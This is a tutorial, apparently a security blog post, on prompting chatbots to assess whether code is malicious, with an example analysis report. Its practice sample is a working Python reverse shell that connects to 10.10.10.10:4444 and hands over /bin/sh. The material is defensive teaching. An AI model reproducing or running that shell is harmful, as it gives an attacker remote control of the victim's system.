[Practice] “Is this code dangerous?” 🤖 How to have AI detect malware and get perfect evidence

Hello, everyone passionate about security! 🕵️‍♂️

While performing security monitoring or incident response, or when looking at open-source code found on the internet, there are moments when you think, “Hmm? This code feels a bit suspicious?”

Analyzing it line by line yourself takes too long, and just running it is too risky. This is precisely when our smart assistant, Generative AI (ChatGPT, Claude, Gemini, etc.), can dramatically reduce analysis time.

Simply asking “Is this a virus?” is amateurish! 🙅‍♂️ Today, we will practice a prompt engineering technique to input code into AI, quantify the probability of it being malicious, and receive detailed reports including the logical basis.

---

1. 🎯 Today’s Goal

• Input suspicious code snippets into AI.
• Receive systematic answers including “Probability of Maliciousness (%)” and “Basis for Judgment.”
• Assess the actual risk based on AI’s analysis.

---

2. 🧪 Practice Preparations

• Generative AI Model: ChatGPT (GPT-4 recommended), Claude 3, Gemini, etc., anything is fine.
• Sample Code for Analysis: (For practice, a simple ‘reverse shell’ example code is prepared below.)

⚠️ Caution: The code below is attack simulation code provided for practice. Absolutely do not run it in a real operating environment or on your own PC! Only view it and copy-paste it to AI.

[Practice Sample Code (Python Reverse Shell)]

Python

import socket, subprocess, os

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.10.10", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/sh", "-i"])

connect()

---

3. ⌨️ Practical Prompt Input (Cheat Sheet Revealed)

To get excellent answers from AI, you must ask excellent questions. Copy the prompt below and input it into AI.

[ 📋 AI Input Prompt ]

Role: You are a malware analyst and security expert with 20 years of experience.

>

Situation: I have discovered a suspicious script file on an internal system. I urgently need to confirm if this code was written for malicious purposes.

>

Request: Please thoroughly analyze the code below and generate a report in the following format.

>

1. Malicious Probability: (Quantify and display between 0% ~ 100%)

2. Judgment Summary: Summarize the conclusion in one line (e.g., “This is typical reverse shell attack code.”)

3. Detailed Basis (3 or more): Explain the technical reasons why the code is deemed dangerous, citing function or library names.

4. Expected Damage: The impact on the system if this code is executed.

5. MITRE ATT&CK Mapping: If there are related tactics/technique IDs, please specify them.

>

[Code to Analyze] (Paste the practice sample code copied above here)

---

4. 📊 Confirming and Interpreting AI Analysis Results

When you input the prompt above, AI will provide analysis results that are eerily accurate, as shown below. (This is an expected response from a GPT-4 level model.)

🤖 AI Response Example

🚨 Analysis Report

>

1. Malicious Probability: 99% (Very High Risk)

>

2. Judgment Summary: This is typical Python reverse shell code that transfers system control to an attacker’s server.

>

3. Detailed Basis:

>

– Socket Connection (socket.connect): Attempts to establish a network connection to a specific port (4444) on an external IP (10.10.10.10). This is suspected to be C2 server communication.

– I/O Redirection (os.dup2): Duplicates standard input (0), standard output (1), and standard error (2) to the socket. This means the victim’s computer terminal screen is sent to the attacker.

– Shell Execution (subprocess.call): Executes an interactive shell via /bin/sh -i, allowing the attacker to input commands remotely.

>

4. Expected Damage: An attacker can remotely seize administrator privileges of the system, reconnoiter the internal network, download additional malware, and cause ransomware infection or data exfiltration.

>

5. MITRE ATT&CK Mapping:

>

– T1059.004: Command and Scripting Interpreter (Python)

– T1095: Non-Application Layer Protocol

---

5. 💡 Pro Tip: How to Reduce “False Positives”

AI can sometimes mistake legitimate system administration tools for malware. (e.g., scripts created by an administrator for remote repair)

In such cases, add a phrase to the end of your prompt:

However, is there a possibility that this code was written by a system administrator for legitimate remote control?

If so, what are the contextual criteria for distinguishing between legitimate and malicious code?

Asking this way, AI will provide additional verification points such as “Check if it’s an authorized IP address” or “Check for a code signature.” Pretty smart, right? 👍

---

6. Conclusion 📝

Through today’s practice, we were able to confirm the risk of code with 99% certainty in just a few seconds.

• Code Preparation ➡️ Assign Expert Persona ➡️ Request Probability and Basis

If you remember this 3-step formula, you can now quickly complete a preliminary analysis without panicking, no matter what unfamiliar code you encounter. Utilize AI as your reliable ‘security partner’!

If this was helpful, please share this tip with your colleagues. We’ll be back with more useful security practices next time! Have a safe day! 🛡️✨

---